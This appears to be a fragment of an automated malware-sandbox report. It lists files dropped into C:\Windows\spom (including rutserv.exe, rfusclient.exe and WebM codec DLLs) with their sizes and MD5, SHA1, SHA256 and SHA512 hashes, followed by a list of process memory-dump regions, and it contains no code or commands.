eab8356896f05952e1bdfca467e998b23e5a9a5e5245f13d201f9b87b7a450be628c3513a8a4c40fa50ffaa8491c4508f1215c57ac608dd3e5e67290a5bedc0b

Download Submit
C:\Windows\spom\vp8encoder.dll
Filesize
238KB

MD5
200cba4b9cbdd64f1a281b89cd1467f3

SHA1
fc3ccf8d57efcdc0d22b61ff6e49798d551a9118

SHA256
c8529cff46283d4f7050c9f4ba42a6aad6ff580a22fc8f72bbedb17e63d4091e

SHA512
15a213790da6ddedc25369216ae725dccd16473599a8d5fd8b90f80aaa4fd20496f80e85a4ee5eae6a330930207cefc644ab704f7a6514bbf781151a38be38e3

Download Submit
C:\Windows\spom\webmmux.dll
Filesize
90KB

MD5
aa78ed008f72533c7136bf6d4bddb0d0

SHA1
2e9abd74e615adc99f561cbdbe6067dfd81a406a

SHA256
41e551ecb07620b4cace94a89bbcff6597df85a571ace50a7df929c9a94f1d11

SHA512
e9f49bc94909c46ae6dad9368e13cc758ff801c39ea8a459483bd17a8a40664b68c91d8602da588a84a39de9256e0accafb23a7667fb57640a55280ee61f4021

Download Submit
C:\Windows\spom\webmvorbisdecoder.dll
Filesize
141KB

MD5
0867a260483876336a727cf9f2928b13

SHA1
3c8c59bfba6ed2aeef35c0d1fc4689683df1e660

SHA256
cbc192c03b91280eb4561386290e3b346147d5b1362224d1deff781ff89be207

SHA512
b1d2518adb513c42ed877f1ee77d227d6d3600fc27b4d747f31b75cbfb85c53802cbf9b1fe0e1d09353ea4c29b6a49d5e7b7967b3fd8d15974d822649ca7a83f

Download Submit
C:\Windows\spom\webmvorbisencoder.dll
Filesize
202KB

MD5
43adc4acd56c56b0a25664954c7aa80c

SHA1
d9085625b4a39b3969db8047ad3224b3fc9f60fc

SHA256
0e33c9f15b53de632108ef6f7275cd4d980df86a408f330c57f717b7d5fa3918

SHA512
346dd9da1fe6be5219cb10cbe54c60a1661c5c06a21f3cf864a3f32121a90d29ea1bbcef33d2766811f3ef3242456c2c9606326c26d8b660fa26ff4ae8b24515

Download Submit
\Windows\spom\rfusclient.exe
Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
\Windows\spom\rutserv.exe
Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
memory/340-64-0x0000000000000000-mapping.dmp

Download
memory/364-59-0x0000000000000000-mapping.dmp

Download
memory/436-61-0x0000000000000000-mapping.dmp

Download
memory/572-60-0x0000000000000000-mapping.dmp

Download
memory/572-125-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/572-116-0x0000000000000000-mapping.dmp

Download
memory/572-119-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/668-92-0x0000000000000000-mapping.dmp

Download
memory/700-74-0x0000000000000000-mapping.dmp

Download
memory/700-81-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/700-80-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/700-78-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/764-62-0x0000000000000000-mapping.dmp

Download
memory/904-82-0x0000000000000000-mapping.dmp

Download
memory/904-86-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/956-56-0x0000000000000000-mapping.dmp

Download
memory/956-77-0x0000000001F60000-0x0000000002609000-memory.dmp

Filesize
6.7MB

Download
memory/956-79-0x0000000001F60000-0x0000000002609000-memory.dmp

Filesize
6.7MB

Download
memory/1112-90-0x0000000000000000-mapping.dmp

Download
memory/1116-63-0x0000000000000000-mapping.dmp

Download
memory/1300-120-0x0000000000000000-mapping.dmp

Download
memory/1300-123-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/1300-124-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/1332-88-0x0000000000000000-mapping.dmp

Download
memory/1392-114-0x00000000029E0000-0x0000000002F8E000-memory.dmp

Filesize
5.7MB

Download
memory/1392-112-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1392-99-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1392-110-0x00000000029E0000-0x0000000002F8E000-memory.dmp

Filesize
5.7MB

Download
memory/1524-85-0x0000000000000000-mapping.dmp

Download
memory/1656-91-0x0000000000000000-mapping.dmp

Download
memory/1700-107-0x0000000000000000-mapping.dmp

Download
memory/1700-111-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/1700-115-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/1716-113-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1716-93-0x0000000000000000-mapping.dmp

Download
memory/1716-98-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1732-87-0x0000000000000000-mapping.dmp

Download
memory/1748-54-0x0000000075631000-0x0000000075633000-memory.dmp

Filesize
8KB

Download
memory/1748-55-0x0000000000400000-0x000000000078A000-memory.dmp

Filesize
3.5MB

Download
memory/1788-58-0x0000000000000000-mapping.dmp

Download
memory/1944-65-0x0000000000000000-mapping.dmp

Download
memory/1988-89-0x0000000000000000-mapping.dmp

Download